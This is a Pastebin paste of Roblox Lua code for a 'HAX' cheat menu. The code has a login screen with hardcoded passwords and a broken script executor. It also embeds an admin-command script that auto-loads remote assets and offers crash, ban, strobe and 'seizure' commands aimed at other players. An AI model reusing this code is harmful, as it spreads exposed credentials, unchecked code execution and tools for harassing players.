Advertisement
Mitko1223tm

TM gui

Jan 28th, 2018
181
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 252.51 KB | None | 0 0
  1. --Made by Mitko1223tm
  2. --I think that it will not work on script builders
  3.  
  4. local player=game.Players.LocalPlayer
  5.  
  6.  
  7. -- Objects
  8.  
  9. local haxgui = Instance.new("ScreenGui")
  10. local loginframe = Instance.new("Frame")
  11. local bar1 = Instance.new("Frame")
  12. local name = Instance.new("TextLabel")
  13. local close = Instance.new("TextButton")
  14. local username = Instance.new("TextBox")
  15. local password = Instance.new("TextBox")
  16. local login = Instance.new("TextButton")
  17. local exit = Instance.new("TextButton")
  18. local menu = Instance.new("Frame")
  19. local bar1_2 = Instance.new("Frame")
  20. local name_2 = Instance.new("TextLabel")
  21. local close_2 = Instance.new("TextButton")
  22. local executor = Instance.new("TextButton")
  23. local warning = Instance.new("TextLabel")
  24. local scripts = Instance.new("TextButton")
  25. local executormenu = Instance.new("Frame")
  26. local bar1_3 = Instance.new("Frame")
  27. local name_3 = Instance.new("TextLabel")
  28. local close_3 = Instance.new("TextButton")
  29. local frame = Instance.new("ScrollingFrame")
  30. local code = Instance.new("TextBox")
  31. local execute = Instance.new("TextButton")
  32. local clear = Instance.new("TextButton")
  33. local scriptsmenu = Instance.new("Frame")
  34. local bar1_4 = Instance.new("Frame")
  35. local name_4 = Instance.new("TextLabel")
  36. local close_4 = Instance.new("TextButton")
  37. local script1 = Instance.new("TextButton")
  38. local script2 = Instance.new("TextButton")
  39. local script3 = Instance.new("TextButton")
  40.  
  41. -- Properties
  42.  
  43. haxgui.Name = "TMgui"
  44. haxgui.Parent = player.PlayerGui
  45.  
  46. loginframe.Name = "loginframe"
  47. loginframe.Parent = haxgui
  48. loginframe.BackgroundColor3 = Color3.new(0.333333, 0.666667, 1)
  49. loginframe.Draggable = true
  50. loginframe.Position = UDim2.new(0, 300, 0, 230)
  51. loginframe.Size = UDim2.new(0, 200, 0, 200)
  52.  
  53. bar1.Name = "bar1"
  54. bar1.Parent = loginframe
  55. bar1.BackgroundColor3 = Color3.new(0.333333, 0.666667, 1)
  56. bar1.Size = UDim2.new(0, 200, 0, 30)
  57.  
  58. name.Name = "name"
  59. name.Parent = bar1
  60. name.BackgroundColor3 = Color3.new(1, 1, 1)
  61. name.BackgroundTransparency = 1
  62. name.Size = UDim2.new(0, 200, 0, 30)
  63. name.Font = Enum.Font.SourceSans
  64. name.FontSize = Enum.FontSize.Size14
  65. name.Text = "HAX - Login"
  66. name.TextSize = 14
  67.  
  68. close.Name = "close"
  69. close.Parent = bar1
  70. close.BackgroundColor3 = Color3.new(1, 0, 0)
  71. close.Position = UDim2.new(0, 170, 0, 0)
  72. close.Size = UDim2.new(0, 30, 0, 30)
  73. close.Font = Enum.Font.SourceSans
  74. close.FontSize = Enum.FontSize.Size14
  75. close.Text = "X"
  76. close.TextSize = 14
  77.  
  78. close.MouseButton1Down:connect(function()
  79. haxgui:remove()
  80. end)
  81.  
  82. username.Name = "username"
  83. username.Parent = loginframe
  84. username.BackgroundColor3 = Color3.new(0, 0, 0)
  85. username.Position = UDim2.new(0, 50, 0, 50)
  86. username.Size = UDim2.new(0, 100, 0, 30)
  87. username.Font = Enum.Font.SourceSans
  88. username.FontSize = Enum.FontSize.Size14
  89. username.Text = "Username"
  90. username.TextColor3 = Color3.new(1, 1, 1)
  91. username.TextSize = 14
  92.  
  93. password.Name = "password"
  94. password.Parent = loginframe
  95. password.BackgroundColor3 = Color3.new(0, 0, 0)
  96. password.Position = UDim2.new(0, 50, 0, 100)
  97. password.Size = UDim2.new(0, 100, 0, 30)
  98. password.Font = Enum.Font.SourceSans
  99. password.FontSize = Enum.FontSize.Size14
  100. password.Text = "Password"
  101. password.TextColor3 = Color3.new(1, 1, 1)
  102. password.TextSize = 14
  103.  
  104. login.Name = "login"
  105. login.Parent = loginframe
  106. login.BackgroundColor3 = Color3.new(0.333333, 1, 0)
  107. login.Position = UDim2.new(0, 50, 0, 150)
  108. login.Size = UDim2.new(0, 50, 0, 30)
  109. login.Font = Enum.Font.SourceSans
  110. login.FontSize = Enum.FontSize.Size14
  111. login.Text = "Login"
  112. login.TextSize = 14
  113.  
  114. login.MouseButton1Down:connect(function()
  115. if username.Text=="Mitko1223tm" and password.Text=="TerrorMaster" then
  116. loginframe.Visible=false
  117. menu.Visible=true
  118. elseif username.Text=="AntonioRecio123" and password.Text=="TheJudge" then
  119. loginframe.Visible=false
  120. menu.Visible=true
  121. end
  122. end)
  123.  
  124. exit.Name = "exit"
  125. exit.Parent = loginframe
  126. exit.BackgroundColor3 = Color3.new(1, 0, 0)
  127. exit.Position = UDim2.new(0, 100, 0, 150)
  128. exit.Size = UDim2.new(0, 50, 0, 30)
  129. exit.Font = Enum.Font.SourceSans
  130. exit.FontSize = Enum.FontSize.Size14
  131. exit.Text = "Exit"
  132. exit.TextSize = 14
  133.  
  134. exit.MouseButton1Down:connect(function()
  135. haxgui:remove()
  136. end)
  137.  
  138. menu.Name = "menu"
  139. menu.Parent = haxgui
  140. menu.BackgroundColor3 = Color3.new(0.333333, 0.666667, 1)
  141. menu.Position = UDim2.new(0, 100, 0, 100)
  142. menu.Size = UDim2.new(0, 200, 0, 200)
  143. menu.Visible=false
  144.  
  145. bar1_2.Name = "bar1"
  146. bar1_2.Parent = menu
  147. bar1_2.BackgroundColor3 = Color3.new(0.333333, 0.666667, 1)
  148. bar1_2.Size = UDim2.new(0, 200, 0, 30)
  149.  
  150. name_2.Name = "name"
  151. name_2.Parent = bar1_2
  152. name_2.BackgroundColor3 = Color3.new(1, 1, 1)
  153. name_2.BackgroundTransparency = 1
  154. name_2.Size = UDim2.new(0, 200, 0, 30)
  155. name_2.Font = Enum.Font.SourceSans
  156. name_2.FontSize = Enum.FontSize.Size14
  157. name_2.Text = "HAX - Menu"
  158. name_2.TextSize = 14
  159.  
  160. close_2.Name = "close"
  161. close_2.Parent = bar1_2
  162. close_2.BackgroundColor3 = Color3.new(1, 0, 0)
  163. close_2.Position = UDim2.new(0, 170, 0, 0)
  164. close_2.Size = UDim2.new(0, 30, 0, 30)
  165. close_2.Font = Enum.Font.SourceSans
  166. close_2.FontSize = Enum.FontSize.Size14
  167. close_2.Text = "X"
  168. close_2.TextSize = 14
  169.  
  170. close_2.MouseButton1Down:connect(function()
  171. menu.Visible=false
  172. loginframe.Visible=true
  173. end)
  174.  
  175. executor.Name = "executor"
  176. executor.Parent = menu
  177. executor.BackgroundColor3 = Color3.new(0, 0, 0)
  178. executor.Position = UDim2.new(0, 50, 0, 50)
  179. executor.Size = UDim2.new(0, 100, 0, 30)
  180. executor.Font = Enum.Font.SourceSans
  181. executor.FontSize = Enum.FontSize.Size14
  182. executor.Text = "Executor"
  183. executor.TextColor3 = Color3.new(1, 1, 1)
  184. executor.TextSize = 14
  185.  
  186. executor.MouseButton1Down:connect(function()
  187. menu.Visible=false
  188. executormenu.Visible=true
  189. end)
  190.  
  191. warning.Name = "warning"
  192. warning.Parent = menu
  193. warning.BackgroundColor3 = Color3.new(1, 1, 1)
  194. warning.BackgroundTransparency = 1
  195. warning.Position = UDim2.new(0, 50, 0, 90)
  196. warning.Size = UDim2.new(0, 100, 0, 30)
  197. warning.Font = Enum.Font.SourceSans
  198. warning.FontSize = Enum.FontSize.Size14
  199. warning.Text = "WARNING: Executor is limited!"
  200. warning.TextSize = 14
  201.  
  202. scripts.Name = "scripts"
  203. scripts.Parent = menu
  204. scripts.BackgroundColor3 = Color3.new(0, 0, 0)
  205. scripts.Position = UDim2.new(0, 50, 0, 140)
  206. scripts.Size = UDim2.new(0, 100, 0, 30)
  207. scripts.Font = Enum.Font.SourceSans
  208. scripts.FontSize = Enum.FontSize.Size14
  209. scripts.Text = "Scripts"
  210. scripts.TextColor3 = Color3.new(1, 1, 1)
  211. scripts.TextSize = 14
  212.  
  213. scripts.MouseButton1Down:connect(function()
  214. menu.Visible=false
  215. scriptsmenu.Visible=true
  216. end)
  217.  
  218. executormenu.Name = "executormenu"
  219. executormenu.Parent = haxgui
  220. executormenu.BackgroundColor3 = Color3.new(0.333333, 0.666667, 1)
  221. executormenu.Position = UDim2.new(0, 500, 0, 100)
  222. executormenu.Size = UDim2.new(0, 200, 0, 250)
  223. executormenu.Visible=false
  224.  
  225. bar1_3.Name = "bar1"
  226. bar1_3.Parent = executormenu
  227. bar1_3.BackgroundColor3 = Color3.new(0.333333, 0.666667, 1)
  228. bar1_3.Size = UDim2.new(0, 200, 0, 30)
  229.  
  230. name_3.Name = "name"
  231. name_3.Parent = bar1_3
  232. name_3.BackgroundColor3 = Color3.new(1, 1, 1)
  233. name_3.BackgroundTransparency = 1
  234. name_3.Size = UDim2.new(0, 200, 0, 30)
  235. name_3.Font = Enum.Font.SourceSans
  236. name_3.FontSize = Enum.FontSize.Size14
  237. name_3.Text = "HAX - Executor"
  238. name_3.TextSize = 14
  239.  
  240. close_3.Name = "close"
  241. close_3.Parent = bar1_3
  242. close_3.BackgroundColor3 = Color3.new(1, 0, 0)
  243. close_3.Position = UDim2.new(0, 170, 0, 0)
  244. close_3.Size = UDim2.new(0, 30, 0, 30)
  245. close_3.Font = Enum.Font.SourceSans
  246. close_3.FontSize = Enum.FontSize.Size14
  247. close_3.Text = "X"
  248. close_3.TextSize = 14
  249.  
  250. close_3.MouseButton1Down:connect(function()
  251. executormenu.Visible=false
  252. menu.Visible=true
  253. end)
  254.  
  255. frame.Name = "frame"
  256. frame.Parent = executormenu
  257. frame.BackgroundColor3 = Color3.new(0.333333, 0.666667, 1)
  258. frame.Position = UDim2.new(0, 25, 0, 40)
  259. frame.Size = UDim2.new(0, 150, 0, 150)
  260. frame.CanvasSize = UDim2.new(0, 0, 0, 2147483647)
  261.  
  262. code.Name = "code"
  263. code.Parent = frame
  264. code.BackgroundColor3 = Color3.new(1, 1, 1)
  265. code.Size = UDim2.new(0, 150, 0, 150)
  266. code.ClearTextOnFocus = false
  267. code.Font = Enum.Font.SourceSans
  268. code.FontSize = Enum.FontSize.Size14
  269. code.Text = "print(\"Hello World!\")"
  270. code.TextSize = 14
  271. code.TextXAlignment = Enum.TextXAlignment.Left
  272. code.TextYAlignment = Enum.TextYAlignment.Top
  273. code.TextWrapped=true
  274.  
  275. execute.Name = "execute"
  276. execute.Parent = executormenu
  277. execute.BackgroundColor3 = Color3.new(0, 0, 0)
  278. execute.Position = UDim2.new(0, 25, 0, 200)
  279. execute.Size = UDim2.new(0, 60, 0, 30)
  280. execute.Font = Enum.Font.SourceSans
  281. execute.FontSize = Enum.FontSize.Size14
  282. execute.Text = "Execute"
  283. execute.TextColor3 = Color3.new(1, 1, 1)
  284. execute.TextSize = 14
  285.  
  286. execute.MouseButton1Down:connect(function()
  287. loadstring(code.Text)
  288. end)
  289.  
  290. clear.Name = "clear"
  291. clear.Parent = executormenu
  292. clear.BackgroundColor3 = Color3.new(0, 0, 0)
  293. clear.Position = UDim2.new(0, 115, 0, 200)
  294. clear.Size = UDim2.new(0, 60, 0, 30)
  295. clear.Font = Enum.Font.SourceSans
  296. clear.FontSize = Enum.FontSize.Size14
  297. clear.Text = "Clear"
  298. clear.TextColor3 = Color3.new(1, 1, 1)
  299. clear.TextSize = 14
  300.  
  301. clear.MouseButton1Down:connect(function()
  302. code.Text=""
  303. end)
  304.  
  305. scriptsmenu.Name = "scriptsmenu"
  306. scriptsmenu.Parent = haxgui
  307. scriptsmenu.BackgroundColor3 = Color3.new(0.333333, 0.666667, 1)
  308. scriptsmenu.Position = UDim2.new(0, 300, 0, 30)
  309. scriptsmenu.Size = UDim2.new(0, 200, 0, 200)
  310. scriptsmenu.Visible=false
  311.  
  312. bar1_4.Name = "bar1"
  313. bar1_4.Parent = scriptsmenu
  314. bar1_4.BackgroundColor3 = Color3.new(0.333333, 0.666667, 1)
  315. bar1_4.Size = UDim2.new(0, 200, 0, 30)
  316.  
  317. name_4.Name = "name"
  318. name_4.Parent = bar1_4
  319. name_4.BackgroundColor3 = Color3.new(1, 1, 1)
  320. name_4.BackgroundTransparency = 1
  321. name_4.Size = UDim2.new(0, 200, 0, 30)
  322. name_4.Font = Enum.Font.SourceSans
  323. name_4.FontSize = Enum.FontSize.Size14
  324. name_4.Text = "HAX - Scripts"
  325. name_4.TextSize = 14
  326.  
  327. close_4.Name = "close"
  328. close_4.Parent = bar1_4
  329. close_4.BackgroundColor3 = Color3.new(1, 0, 0)
  330. close_4.Position = UDim2.new(0, 170, 0, 0)
  331. close_4.Size = UDim2.new(0, 30, 0, 30)
  332. close_4.Font = Enum.Font.SourceSans
  333. close_4.FontSize = Enum.FontSize.Size14
  334. close_4.Text = "X"
  335. close_4.TextSize = 14
  336.  
  337. close_4.MouseButton1Down:connect(function()
  338. scriptsmenu.Visible=false
  339. menu.Visible=true
  340. end)
  341.  
  342. script1.Name = "script1"
  343. script1.Parent = scriptsmenu
  344. script1.BackgroundColor3 = Color3.new(0, 0, 0)
  345. script1.Position = UDim2.new(0, 50, 0, 50)
  346. script1.Size = UDim2.new(0, 100, 0, 30)
  347. script1.Font = Enum.Font.SourceSans
  348. script1.FontSize = Enum.FontSize.Size14
  349. script1.Text = "TM Admin"
  350. script1.TextColor3 = Color3.new(1, 1, 1)
  351. script1.TextSize = 14
  352.  
  353. script1.MouseButton1Down:connect(function()
  354. -----------------------------------------------------------------------------------------
  355. --[[ do not even use XD ]]
  356. --[[ if you use it ima kill you ]]
  357. -----------------------------------------------------------------------------------------
  358. local owners = {"Mitko1223tm"} -- Are able to set admins who can ban/etc... using :pa name
  359. local admins = {"chochko10","qwertyjohlan","00000_12346789","thenormalguy5","Kolsmen","imagirl1020"} -- Sets admins who can use ban/kick/admin or shutdown
  360. local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
  361. local banland = {"Cri_SB","alex445444"} -- Permanently Bans people
  362. local prefix = ":" -- If you wanna change how your commands start ':'kill noob
  363. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  364. -----------------
  365. -- Group Admin --
  366. -----------------
  367. local GroupAdmin = false -- If a certain group can have admin
  368. local GroupId = 0 -- Sets the group id that can have admin
  369. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  370. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  371. ---------------------
  372. -- Tips and Tricks --
  373. ---------------------
  374. --[[
  375. With this admin you can do a command on multiple people at a time;
  376. :kill me,noob1,noob2,random,team-raiders
  377.  
  378. You can also use a variety commands for different people;
  379. all
  380. others
  381. me
  382. team-
  383. admins
  384. nonadmins
  385. random
  386. --]]
  387. --------------
  388. -- Commands --
  389. --------------
  390. --[[
  391. -- Temp Admin Commands --
  392. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  393. 1. :s print("Hello World") -- Lets you script normally
  394. 2. :ls print("Hello World") -- Lets you script in localscripts
  395. 3. :clear -- Will remove all scripts/localscripts and jails
  396. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  397. 5. :kill kohl -- Kills the player
  398. 6. :respawn kohl -- Respawns the player
  399. 7. :trip kohl -- Trips the player
  400. 8. :stun kohl -- Stuns the player
  401. 9. :unstun kohl -- Unstuns the player
  402. 10. :jump kohl -- Makes the player jump
  403. 11. :sit kohl -- Makes the player sit
  404. 12. :invisible kohl -- Makes the player invisible
  405. 13. :visible kohl -- Makes the player visible
  406. 14. :explode kohl -- Makes the player explode
  407. 15. :fire kohl -- Sets the player on fire
  408. 16. :unfire kohl -- Removes fire from the player
  409. 17. :smoke kohl -- Adds smoke to the player
  410. 18. :unsmoke kohl -- Removes smoke from the player
  411. 19. :sparkles kohl -- Adds sparkles to the player
  412. 20. :unsparkles kohl -- Removes sparkles from the player
  413. 21. :ff kohl -- Adds a forcefield to the player
  414. 22. :unff kohl -- Removes the forcefield from the player
  415. 23. :punish kohl -- Punishes the player
  416. 24. :unpunish kohl -- Unpunishes the player
  417. 25. :freeze kohl -- Freezes the player
  418. 26. :thaw kohl -- Thaws the player
  419. 27. :heal kohl -- Heals the player
  420. 28. :god kohl -- Makes the player have infinite health
  421. 29. :ungod kohl -- Makes the player have 100 health
  422. 30. :ambient .5 .5 .5 -- Changes the ambient
  423. 31. :brightness .5 -- Changes the brightness
  424. 32. :time 12 -- Changes the time
  425. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  426. 34. :fogend 100 -- Changes the fogend
  427. 35. :fogstart 100 -- Changes the fogstart
  428. 36. :removetools kohl -- Removes all tools from the player
  429. 37. :btools kohl -- Gives the player building tools
  430. 38. :give kohl sword -- Gives the player a tool
  431. 39. :damage kohl -- Damages the player
  432. 40. :grav kohl -- Sets the player's gravity to normal
  433. 41. :setgrav kohl 100 -- Sets the player's gravity
  434. 42. :nograv kohl -- Makes the player have 0 gravity
  435. 43. :health kohl 1337 -- Changes the player's health
  436. 44. :speed kohl 1337 -- Changes the player's walkspeed
  437. 45. :name kohl potato -- Changes the player's name
  438. 46. :unname kohl -- Remove the player's name
  439. 47. :team kohl Raiders -- Changes the player's team
  440. 48. :stopmusic -- Will stop all music playing in the server
  441. 49. :teleport kohl potato -- Teleports the player
  442. 50. :change kohl kills 1337 -- Changes a player's stat
  443. 51. :kick kohl -- Removes the player from the game
  444. 52. :infect kohl -- Turns the player into a zombie
  445. 53. :rainbowify kohl -- Turns the player into a rainbow
  446. 54. :flashify kohl -- Turns the player into a strobe
  447. 55. :noobify kohl -- Turns the player into a noob
  448. 56. :ghostify kohl -- Turns the player into a ghost
  449. 57. :goldify kohl -- Turns the player into gold
  450. 58. :shiny kohl -- Makes the player shiny
  451. 59. :normal kohl -- Puts the player back to normal
  452. 60. :trippy kohl -- Spams random colors on the player's screen
  453. 61. :untrippy kohl -- Untrippys the player
  454. 62. :strobe kohl -- Spams white and black on the player's screen
  455. 63. :unstrobe kohl -- Unstrobes the player
  456. 64. :blind kohl -- Blinds the player
  457. 65. :unblind kohl -- Unblinds the player
  458. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  459. 67. :fling kohl -- Flings the player
  460. 68. :seizure kohl -- Puts the player in a seizure
  461. 69(lol). :music 1337 -- Plays a sound from the ID
  462. 70. :lock kohl -- Locks the player
  463. 71. :unlock kohl -- Unlocks the player
  464. 72. :removelimbs kohl -- Removes the player's limbs
  465. 73. :jail kohl -- Puts the player in a jail
  466. 74. :unjail kohl -- Removes the jail from the player
  467. 75. :fix -- This will fix the lighting to it's original settings
  468. 76. :fly kohl -- Makes the player fly
  469. 77. :unfly kohl -- Removes fly from the player
  470. 78. :noclip kohl -- Makes the player able to noclip
  471. 79. :clip kohl -- Removes noclipping from the player
  472. 80. :pm kohl Hey bro -- Sends the player a private message
  473. 81. :dog kohl -- Turns the player into a dog
  474. 82. :undog kohl -- Turns the player back to normal
  475. 83. :creeper kohl -- Turns the player into a creeper
  476. 84. :uncreeper kohl -- Turns the player back to normal
  477. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  478. 86. :char kohl 261 -- Will make a player look like a different player ID
  479. 87. :unchar kohl -- Will return the player back to normal
  480. 88. :h Hello People -- This will shout a hint to everyone
  481. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  482. 90. :starttools kohl -- Will give the player starter tools
  483. 91. :sword kohl -- Will give the player a sword
  484. 92. :bighead kohl -- Will make the player's head larger than normal
  485. 93. :minihead kohl -- Will make the player's head smaller than normal
  486. 94. :insert 1337 -- Will insert a model at the speaker's position
  487. 95. :disco -- Will make the server flash random colors
  488. 96. :flash -- Will make the server flash
  489. 97. :admins -- Shows the admin list
  490. 98. :bans -- Shows the banlist
  491. 99. :musiclist -- Shows the music list
  492. 100. :spin kohl -- Spins the player
  493. 101. :cape kohl Really black -- Gives the player a colored cape
  494. 102. :uncape kohl -- Removes the player's cape
  495. 103. :loopheal kohl -- Will constantly heal the player
  496. 104. :loopfling kohl -- Will constantly fling the player
  497. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  498. 106. :unloopheal kohl -- Will remove the loopheal on the player
  499. 107. :unloopfling kohl -- Will remove the loopfling on the player
  500. 108. :unspin kohl -- Removes spin from the player
  501. 109. :tools -- Gives a list of the tools in the lighting
  502. 110. :undisco -- Removes disco effects
  503. 111. :unflash -- Removes flash effects
  504. 112. :resetstats kohl -- Sets all the stats of a player to 0
  505. 113. :gear 1337 -- Gives a player a gear
  506. 114. :cmdbar -- Gives the speaker a command bar
  507. 115. :shirt kohl 1337 -- Changes the player's shirt
  508. 116. :pants kohl 1337 -- Changes the player's pants
  509. 117. :face kohl 1337 -- Changes the player's face
  510. 118. :swagify kohl -- Swagifies the player
  511. 119. :version -- Shows the current version of the admin
  512.  
  513. -- Super Admin Commands --
  514. - :serverlock -- Locks the server
  515. - :serverunlock -- Unlocks the server
  516. - :sm Hello World -- Creates a system message
  517. - :crash kohl -- Crashes a player
  518. - :admin kohl -- Admins a player
  519. - :unadmin kohl -- Unadmins a player
  520. - :ban kohl -- Bans a player
  521. - :unban kohl -- Unbans a player
  522. - :loopkill kohl -- Will constantly kill the player
  523. - :unloopkill kohl -- Will remove the loopkill on the player
  524. - :logs -- Will show all of the commands any admin has used in a game session
  525. - :shutdown -- Shutsdown the server
  526.  
  527. -- Owner Commands --
  528. - :pa kohl -- Makes someone a super admin
  529. - :unpa kohl -- Removes a super admin
  530. --]]
  531. -----------------
  532. -- Main Script --
  533. -----------------
  534.  
  535. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  536.  
  537. if AutoUpdate then wait(1)
  538. coroutine.resume(coroutine.create(function()
  539. local mod = game:service("InsertService"):LoadAsset(100808216)
  540. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) then
  541. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  542. newac.Disabled = true
  543. local new = tonumber(mod:findFirstChild("Version", true).Value)
  544. local old = 0
  545. if script:findFirstChild("Version") then old = tonumber(script.Version.Value) end
  546. if new > old then
  547. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  548. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  549. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  550. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  551. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  552. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  553. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  554. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  555. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  556. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  557. wait()
  558. newac.Parent = game.Workspace
  559. newac.Disabled = false
  560. script.Disabled = true
  561. script:Destroy()
  562. end
  563. end
  564. end))
  565. end
  566.  
  567. if game:service("Lighting"):findFirstChild("KACV2") then
  568. owners = {} admins = {} tempadmins = {} banland = {}
  569. for i,v in pairs(game.Lighting.KACV2:children()) do
  570. if v.Name == "Owner" then table.insert(owners, v.Value) end
  571. if v.Name == "Admin" then table.insert(admins, v.Value) end
  572. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  573. if v.Name == "Banland" then table.insert(banland, v.Value) end
  574. if v.Name == "Prefix" then prefix = v.Value end
  575. if v.Name == "FunCommands" then FunCommands = v.Value end
  576. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  577. if v.Name == "GroupId" then GroupId = v.Value end
  578. if v.Name == "GroupRank" then GroupRank = v.Value end
  579. end
  580. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  581. end
  582.  
  583. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  584. local lobjs = {}
  585. local objects = {}
  586. local logs = {}
  587. local nfs = ""
  588. local slock = false
  589.  
  590. function GetTime()
  591. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  592. if min < 10 then min = "0"..min end
  593. return hour..":"..min
  594. end
  595.  
  596. function ChkOwner(str)
  597. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  598. return false
  599. end
  600.  
  601. function ChkAdmin(str,ck)
  602. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  603. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  604. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  605. return false
  606. end
  607.  
  608. function ChkGroupAdmin(plr)
  609. if GroupAdmin then
  610. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  611. return false
  612. end
  613. end
  614.  
  615. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  616.  
  617. function GetPlr(plr, str)
  618. local plrz = {} str = str:lower()
  619. if str == "all" then plrz = game.Players:children()
  620. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  621. else
  622. local sn = {1} local en = {}
  623. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  624. for x = 1, #sn do
  625. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  626. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  627. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  628. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  629. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  630. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  631. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  632. end end end
  633. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  634. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  635. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  636. end end end
  637. else
  638. for a, plyr in pairs(game.Players:children()) do
  639. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  640. table.insert(plrz, plyr) break
  641. end
  642. end
  643. end
  644. end
  645. end
  646. return plrz
  647. end
  648.  
  649. function Hint(str, plrz, time)
  650. for i, v in pairs(plrz) do
  651. if v and v:findFirstChild("PlayerGui") then
  652. coroutine.wrap(function()
  653. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  654. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  655. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  656. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  657. if not time then wait((#str/19)+2.5) else wait(time) end
  658. coroutine.resume(coroutine.create(function() for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end))
  659. end)()
  660. end
  661. end
  662. end
  663.  
  664. function Message(ttl, str, scroll, plrz, time)
  665. for i, v in pairs(plrz) do
  666. if v and v:findFirstChild("PlayerGui") then
  667. coroutine.resume(coroutine.create(function()
  668. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
